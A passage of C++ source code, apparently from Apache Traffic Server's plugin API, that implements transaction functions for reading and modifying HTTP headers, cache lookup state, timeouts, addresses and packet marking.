while (hook != nullptr) {
if (hook->m_cont && hook->m_cont->m_event_func == funcp) {
return TS_SUCCESS;
}
hook = hook->m_link.next;
}
return TS_ERROR;
}
TSHttpSsn
TSHttpTxnSsnGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return reinterpret_cast<TSHttpSsn>(sm->ua_txn ? (TSHttpSsn)sm->ua_txn->get_proxy_ssn() : nullptr);
}
// TODO: Is this still necessary ??
void
TSHttpTxnClientKeepaliveSet(TSHttpTxn txnp, int set)
{
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
s->hdr_info.trust_response_cl = (set != 0);
}
TSReturnCode
TSHttpTxnClientReqGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.client_request);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
if (sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS) {
hptr->mark_target_dirty();
return TS_SUCCESS;
;
}
}
return TS_ERROR;
}
// pristine url is the url before remap
TSReturnCode
TSHttpTxnPristineUrlGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *url_loc)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)url_loc) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.client_request);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*url_loc = (TSMLoc)sm->t_state.unmapped_url.m_url_impl;
if (sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS) {
if (*url_loc == nullptr) {
*url_loc = (TSMLoc)hptr->m_http->u.req.m_url_impl;
}
if (*url_loc) {
return TS_SUCCESS;
}
}
}
return TS_ERROR;
}
// Shortcut to just get the URL.
// The caller is responsible to free memory that is allocated for the string
// that is returned.
char *
TSHttpTxnEffectiveUrlStringGet(TSHttpTxn txnp, int *length)
{
sdk_assert(TS_SUCCESS == sdk_sanity_check_txn(txnp));
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return sm->t_state.hdr_info.client_request.url_string_get(nullptr, length);
}
TSReturnCode
TSHttpHdrEffectiveUrlBufGet(TSMBuffer hdr_buf, TSMLoc hdr_loc, char *buf, int64_t size, int64_t *length)
{
sdk_assert(sdk_sanity_check_mbuffer(hdr_buf) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(hdr_loc) == TS_SUCCESS);
if (size) {
sdk_assert(sdk_sanity_check_null_ptr(buf) == TS_SUCCESS);
}
sdk_assert(sdk_sanity_check_null_ptr(length) == TS_SUCCESS);
auto buf_handle = reinterpret_cast<HTTPHdr *>(hdr_buf);
auto hdr_handle = reinterpret_cast<HTTPHdrImpl *>(hdr_loc);
if (hdr_handle->m_polarity != HTTP_TYPE_REQUEST) {
Debug("plugin", "Trying to get a URL from response header %p", hdr_loc);
return TS_ERROR;
}
int url_length = buf_handle->url_printed_length();
sdk_assert(url_length >= 0);
*length = url_length;
// If the user-provided buffer is too small to hold the URL string, do not put anything in it. This is not considered
// an error case.
//
if (url_length <= size) {
int index = 0;
int offset = 0;
buf_handle->url_print(buf, size, &index, &offset, true);
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnClientRespGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.client_response);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnServerReqGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.server_request);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnServerRespGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.server_response);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnCachedReqGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPInfo *cached_obj = sm->t_state.cache_info.object_read;
// The following check is need to prevent the HttpSM handle copy from going bad
// Since the cache manages the header buffer, sm->t_state.cache_info.object_read
// is the only way to tell if handle has gone bad.
if ((!cached_obj) || (!cached_obj->valid())) {
return TS_ERROR;
}
HTTPHdr *cached_hdr = sm->t_state.cache_info.object_read->request_get();
if (!cached_hdr->valid()) {
return TS_ERROR;
}
// We can't use the HdrHeapSDKHandle structure in the RamCache since multiple
// threads can access. We need to create our own for the transaction and return that.
HdrHeapSDKHandle **handle = &(sm->t_state.cache_req_hdr_heap_handle);
if (*handle == nullptr) {
*handle = (HdrHeapSDKHandle *)sm->t_state.arena.alloc(sizeof(HdrHeapSDKHandle));
(*handle)->m_heap = cached_hdr->m_heap;
}
*(reinterpret_cast<HdrHeapSDKHandle **>(bufp)) = *handle;
*obj = reinterpret_cast<TSMLoc>(cached_hdr->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnCachedRespGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPInfo *cached_obj = sm->t_state.cache_info.object_read;
// The following check is need to prevent the HttpSM handle copy from going bad
// Since the cache manages the header buffer, sm->t_state.cache_info.object_read
// is the only way to tell if handle has gone bad.
if ((!cached_obj) || (!cached_obj->valid())) {
return TS_ERROR;
}
HTTPHdr *cached_hdr = sm->t_state.cache_info.object_read->response_get();
if (!cached_hdr->valid()) {
return TS_ERROR;
}
// We can't use the HdrHeapSDKHandle structure in the RamCache since multiple
// threads can access. We need to create our own for the transaction and return that.
HdrHeapSDKHandle **handle = &(sm->t_state.cache_resp_hdr_heap_handle);
if (*handle == nullptr) {
*handle = (HdrHeapSDKHandle *)sm->t_state.arena.alloc(sizeof(HdrHeapSDKHandle));
}
// Always reset the m_heap to make sure the heap is not stale
(*handle)->m_heap = cached_hdr->m_heap;
*(reinterpret_cast<HdrHeapSDKHandle **>(bufp)) = *handle;
*obj = reinterpret_cast<TSMLoc>(cached_hdr->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnCachedRespModifiableGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
HTTPHdr *c_resp = nullptr;
HTTPInfo *cached_obj = sm->t_state.cache_info.object_read;
HTTPInfo *cached_obj_store = &(sm->t_state.cache_info.object_store);
if ((!cached_obj) || (!cached_obj->valid())) {
return TS_ERROR;
}
if (!cached_obj_store->valid()) {
cached_obj_store->create();
}
c_resp = cached_obj_store->response_get();
if (!c_resp->valid()) {
cached_obj_store->response_set(cached_obj->response_get());
}
c_resp = cached_obj_store->response_get();
s->api_modifiable_cached_resp = true;
ink_assert(c_resp != nullptr && c_resp->valid());
*(reinterpret_cast<HTTPHdr **>(bufp)) = c_resp;
*obj = reinterpret_cast<TSMLoc>(c_resp->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnCacheLookupStatusGet(TSHttpTxn txnp, int *lookup_status)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)lookup_status) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
switch (sm->t_state.cache_lookup_result) {
case HttpTransact::CACHE_LOOKUP_MISS:
case HttpTransact::CACHE_LOOKUP_DOC_BUSY:
*lookup_status = TS_CACHE_LOOKUP_MISS;
break;
case HttpTransact::CACHE_LOOKUP_HIT_STALE:
*lookup_status = TS_CACHE_LOOKUP_HIT_STALE;
break;
case HttpTransact::CACHE_LOOKUP_HIT_WARNING:
case HttpTransact::CACHE_LOOKUP_HIT_FRESH:
*lookup_status = TS_CACHE_LOOKUP_HIT_FRESH;
break;
case HttpTransact::CACHE_LOOKUP_SKIPPED:
*lookup_status = TS_CACHE_LOOKUP_SKIPPED;
break;
case HttpTransact::CACHE_LOOKUP_NONE:
default:
return TS_ERROR;
};
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnCacheLookupCountGet(TSHttpTxn txnp, int *lookup_count)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)lookup_count) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
*lookup_count = sm->t_state.cache_info.lookup_count;
return TS_SUCCESS;
}
/* two hooks this function may gets called:
TS_HTTP_READ_CACHE_HDR_HOOK &
TS_HTTP_CACHE_LOOKUP_COMPLETE_HOOK
*/
TSReturnCode
TSHttpTxnCacheLookupStatusSet(TSHttpTxn txnp, int cachelookup)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::CacheLookupResult_t *sm_status = &(sm->t_state.cache_lookup_result);
// converting from a miss to a hit is not allowed
if (*sm_status == HttpTransact::CACHE_LOOKUP_MISS && cachelookup != TS_CACHE_LOOKUP_MISS) {
return TS_ERROR;
}
// here is to handle converting a hit to a miss
if (cachelookup == TS_CACHE_LOOKUP_MISS && *sm_status != HttpTransact::CACHE_LOOKUP_MISS) {
sm->t_state.api_cleanup_cache_read = true;
ink_assert(sm->t_state.transact_return_point != nullptr);
sm->t_state.transact_return_point = HttpTransact::HandleCacheOpenRead;
}
switch (cachelookup) {
case TS_CACHE_LOOKUP_MISS:
*sm_status = HttpTransact::CACHE_LOOKUP_MISS;
break;
case TS_CACHE_LOOKUP_HIT_STALE:
*sm_status = HttpTransact::CACHE_LOOKUP_HIT_STALE;
break;
case TS_CACHE_LOOKUP_HIT_FRESH:
*sm_status = HttpTransact::CACHE_LOOKUP_HIT_FRESH;
break;
default:
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnInfoIntGet(TSHttpTxn txnp, TSHttpTxnInfoKey key, TSMgmtInt *value)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
HttpSM *s = reinterpret_cast<HttpSM *>(txnp);
HttpCacheSM *c_sm = &(s->get_cache_sm());
switch (key) {
case TS_TXN_INFO_CACHE_HIT_RAM:
*value = (static_cast<TSMgmtInt>(c_sm->is_ram_cache_hit()));
break;
case TS_TXN_INFO_CACHE_COMPRESSED_IN_RAM:
*value = (static_cast<TSMgmtInt>(c_sm->is_compressed_in_ram()));
break;
case TS_TXN_INFO_CACHE_HIT_RWW:
*value = (static_cast<TSMgmtInt>(c_sm->is_readwhilewrite_inprogress()));
break;
case TS_TXN_INFO_CACHE_OPEN_READ_TRIES:
*value = (static_cast<TSMgmtInt>(c_sm->get_open_read_tries()));
break;
case TS_TXN_INFO_CACHE_OPEN_WRITE_TRIES:
*value = (static_cast<TSMgmtInt>(c_sm->get_open_write_tries()));
break;
case TS_TXN_INFO_CACHE_VOLUME:
*value = (static_cast<TSMgmtInt>(c_sm->get_volume_number()));
break;
default:
return TS_ERROR;
}
return TS_SUCCESS;
}
int
TSHttpTxnIsWebsocket(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->t_state.is_websocket;
}
TSReturnCode
TSHttpTxnCacheLookupUrlGet(TSHttpTxn txnp, TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
URL u, *l_url;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
if (!u.valid()) {
return TS_ERROR;
}
l_url = sm->t_state.cache_info.lookup_url;
if (l_url && l_url->valid()) {
u.copy(l_url);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnCacheLookupUrlSet(TSHttpTxn txnp, TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
URL u, *l_url;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
if (!u.valid()) {
return TS_ERROR;
}
l_url = sm->t_state.cache_info.lookup_url;
if (!l_url) {
sm->t_state.cache_info.lookup_url_storage.create(nullptr);
sm->t_state.cache_info.lookup_url = &(sm->t_state.cache_info.lookup_url_storage);
l_url = sm->t_state.cache_info.lookup_url;
}
if (!l_url || !l_url->valid()) {
return TS_ERROR;
} else {
l_url->copy(&u);
}
return TS_SUCCESS;
}
/**
* timeout is in msec
* overrides as proxy.config.http.transaction_active_timeout_out
**/
void
TSHttpTxnActiveTimeoutSet(TSHttpTxn txnp, int timeout)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_txn_active_timeout_value = timeout;
}
/**
* timeout is in msec
* overrides as proxy.config.http.connect_attempts_timeout
**/
void
TSHttpTxnConnectTimeoutSet(TSHttpTxn txnp, int timeout)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_txn_connect_timeout_value = timeout;
}
/**
* timeout is in msec
* overrides as proxy.config.dns.lookup_timeout
**/
void
TSHttpTxnDNSTimeoutSet(TSHttpTxn txnp, int timeout)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_txn_dns_timeout_value = timeout;
}
/**
* timeout is in msec
* overrides as proxy.config.http.transaction_no_activity_timeout_out
**/
void
TSHttpTxnNoActivityTimeoutSet(TSHttpTxn txnp, int timeout)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_txn_no_activity_timeout_value = timeout;
}
TSReturnCode
TSHttpTxnServerRespNoStoreSet(TSHttpTxn txnp, int flag)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_server_response_no_store = (flag != 0);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnServerRespIgnore(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
HTTPInfo *cached_obj = s->cache_info.object_read;
HTTPHdr *cached_resp;
if (cached_obj == nullptr || !cached_obj->valid()) {
return TS_ERROR;
}
cached_resp = cached_obj->response_get();
if (cached_resp == nullptr || !cached_resp->valid()) {
return TS_ERROR;
}
s->api_server_response_ignore = true;
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnShutDown(TSHttpTxn txnp, TSEvent event)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
if (event == TS_EVENT_HTTP_TXN_CLOSE) {
return TS_ERROR;
}
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->api_http_sm_shutdown = true;
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnAborted(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
switch (sm->t_state.squid_codes.log_code) {
case SQUID_LOG_ERR_CLIENT_ABORT:
case SQUID_LOG_ERR_CLIENT_READ_ERROR:
case SQUID_LOG_TCP_SWAPFAIL:
// check for client abort and cache read error
return TS_SUCCESS;
default:
break;
}
if (sm->t_state.current.server && sm->t_state.current.server->abort == HttpTransact::ABORTED) {
// check for the server abort
return TS_SUCCESS;
}
// there can be the case of transformation error.
return TS_ERROR;
}
void
TSHttpTxnReqCacheableSet(TSHttpTxn txnp, int flag)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_req_cacheable = (flag != 0);
}
void
TSHttpTxnRespCacheableSet(TSHttpTxn txnp, int flag)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_resp_cacheable = (flag != 0);
}
int
TSHttpTxnClientReqIsServerStyle(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return (sm->t_state.hdr_info.client_req_is_server_style ? 1 : 0);
}
void
TSHttpTxnOverwriteExpireTime(TSHttpTxn txnp, time_t expire_time)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
s->plugin_set_expire_time = expire_time;
}
TSReturnCode
TSHttpTxnUpdateCachedObject(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
HTTPInfo *cached_obj_store = &(sm->t_state.cache_info.object_store);
HTTPHdr *client_request = &(sm->t_state.hdr_info.client_request);
if (!cached_obj_store->valid() || !cached_obj_store->response_get()) {
return TS_ERROR;
}
if (!cached_obj_store->request_get() && !client_request->valid()) {
return TS_ERROR;
}
if (s->cache_info.write_lock_state == HttpTransact::CACHE_WL_READ_RETRY) {
return TS_ERROR;
}
s->api_update_cached_object = HttpTransact::UPDATE_CACHED_OBJECT_PREPARE;
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnTransformRespGet(TSHttpTxn txnp, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *hptr = &(sm->t_state.hdr_info.transform_response);
if (hptr->valid()) {
*(reinterpret_cast<HTTPHdr **>(bufp)) = hptr;
*obj = reinterpret_cast<TSMLoc>(hptr->m_http);
return sdk_sanity_check_mbuffer(*bufp);
}
return TS_ERROR;
}
sockaddr const *
TSHttpSsnClientAddrGet(TSHttpSsn ssnp)
{
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
if (cs == nullptr) {
return nullptr;
}
return cs->get_client_addr();
}
sockaddr const *
TSHttpTxnClientAddrGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
TSHttpSsn ssnp = TSHttpTxnSsnGet(txnp);
return TSHttpSsnClientAddrGet(ssnp);
}
sockaddr const *
TSHttpSsnIncomingAddrGet(TSHttpSsn ssnp)
{
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
if (cs == nullptr) {
return nullptr;
}
return cs->get_local_addr();
}
sockaddr const *
TSHttpTxnIncomingAddrGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
TSHttpSsn ssnp = TSHttpTxnSsnGet(txnp);
return TSHttpSsnIncomingAddrGet(ssnp);
}
sockaddr const *
TSHttpTxnOutgoingAddrGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
Http1ServerSession *ssn = sm->get_server_session();
if (ssn == nullptr) {
return nullptr;
}
NetVConnection *vc = ssn->get_netvc();
if (vc == nullptr) {
return nullptr;
}
return vc->get_local_addr();
}
sockaddr const *
TSHttpTxnServerAddrGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return &sm->t_state.server_info.dst_addr.sa;
}
TSReturnCode
TSHttpTxnServerAddrSet(TSHttpTxn txnp, struct sockaddr const *addr)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
if (ats_ip_copy(&sm->t_state.server_info.dst_addr.sa, addr)) {
sm->t_state.api_server_addr_set = true;
return TS_SUCCESS;
} else {
return TS_ERROR;
}
}
void
TSHttpTxnClientIncomingPortSet(TSHttpTxn txnp, int port)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
sm->t_state.client_info.dst_addr.port() = htons(port);
}
// [amc] This might use the port. The code path should do that but it
// hasn't been tested.
TSReturnCode
TSHttpTxnOutgoingAddrSet(TSHttpTxn txnp, const struct sockaddr *addr)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->ua_txn->upstream_outbound_options.outbound_port = ats_ip_port_host_order(addr);
sm->ua_txn->set_outbound_ip(IpAddr(addr));
return TS_SUCCESS;
}
sockaddr const *
TSHttpTxnNextHopAddrGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
/**
* Return zero if the server structure is not yet constructed.
*/
if (sm->t_state.current.server == nullptr) {
return nullptr;
}
return &sm->t_state.current.server->dst_addr.sa;
}
const char *
TSHttpTxnNextHopNameGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
/**
* Return zero if the server structure is not yet constructed.
*/
if (sm->t_state.current.server == nullptr) {
return nullptr;
}
return sm->t_state.current.server->name;
}
TSReturnCode
TSHttpTxnOutgoingTransparencySet(TSHttpTxn txnp, int flag)
{
if (TS_SUCCESS != sdk_sanity_check_txn(txnp)) {
return TS_ERROR;
}
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
if (nullptr == sm || nullptr == sm->ua_txn) {
return TS_ERROR;
}
sm->ua_txn->set_outbound_transparent(flag);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnClientPacketMarkSet(TSHttpTxn txnp, int mark)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
if (nullptr == sm->ua_txn) {
return TS_ERROR;
}
NetVConnection *vc = sm->ua_txn->get_netvc();
if (nullptr == vc) {
return TS_ERROR;
}
vc->options.packet_mark = (uint32_t)mark;
vc->apply_options();
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnServerPacketMarkSet(TSHttpTxn txnp, int mark)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
// change the mark on an active server session
if (nullptr != sm->ua_txn) {
Http1ServerSession *ssn = sm->ua_txn->get_server_session();
if (nullptr != ssn) {
NetVConnection *vc = ssn->get_netvc();
if (vc != nullptr) {
vc->options.packet_mark = (uint32_t)mark;
vc->apply_options();
}
}
}
// update the transactions mark config for future connections
TSHttpTxnConfigIntSet(txnp, TS_CONFIG_NET_SOCK_PACKET_MARK_OUT, mark);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnClientPacketTosSet(TSHttpTxn txnp, int tos)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
if (nullptr == sm->ua_txn) {
return TS_ERROR;
}
NetVConnection *vc = sm->ua_txn->get_netvc();
if (nullptr == vc) {
return TS_ERROR;
}
vc->options.packet_tos = (uint32_t)tos;
vc->apply_options();
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnServerPacketTosSet(TSHttpTxn txnp, int tos)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
// change the tos on an active server session
if (nullptr != sm->ua_txn) {
Http1ServerSession *ssn = sm->ua_txn->get_server_session();
if (nullptr != ssn) {
NetVConnection *vc = ssn->get_netvc();
if (vc != nullptr) {
vc->options.packet_tos = (uint32_t)tos;
vc->apply_options();
}
}
}
// update the transactions mark config for future connections
TSHttpTxnConfigIntSet(txnp, TS_CONFIG_NET_SOCK_PACKET_TOS_OUT, tos);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnClientPacketDscpSet(TSHttpTxn txnp, int dscp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
if (nullptr == sm->ua_txn) {
return TS_ERROR;
}
NetVConnection *vc = sm->ua_txn->get_netvc();
if (nullptr == vc) {
return TS_ERROR;
}
vc->options.packet_tos = (uint32_t)dscp << 2;
vc->apply_options();
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnServerPacketDscpSet(TSHttpTxn txnp, int dscp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
// change the tos on an active server session
if (nullptr != sm->ua_txn) {
Http1ServerSession *ssn = sm->ua_txn->get_server_session();
if (nullptr != ssn) {
NetVConnection *vc = ssn->get_netvc();
if (vc != nullptr) {
vc->options.packet_tos = (uint32_t)dscp << 2;
vc->apply_options();
}
}
}
// update the transactions mark config for future connections
TSHttpTxnConfigIntSet(txnp, TS_CONFIG_NET_SOCK_PACKET_TOS_OUT, dscp << 2);
return TS_SUCCESS;
}
// Set the body, or, if you provide a NULL buffer, clear the body message
void
TSHttpTxnErrorBodySet(TSHttpTxn txnp, char *buf, size_t buflength, char *mimetype)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
// Cleanup anything already set.
s->free_internal_msg_buffer();
ats_free(s->internal_msg_buffer_type);
s->internal_msg_buffer = buf;
s->internal_msg_buffer_size = buf ? buflength : 0;
s->internal_msg_buffer_fast_allocator_size = -1;
s->internal_msg_buffer_type = mimetype;
}
void
TSHttpTxnServerRequestBodySet(TSHttpTxn txnp, char *buf, int64_t buflength)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
// Cleanup anything already set.
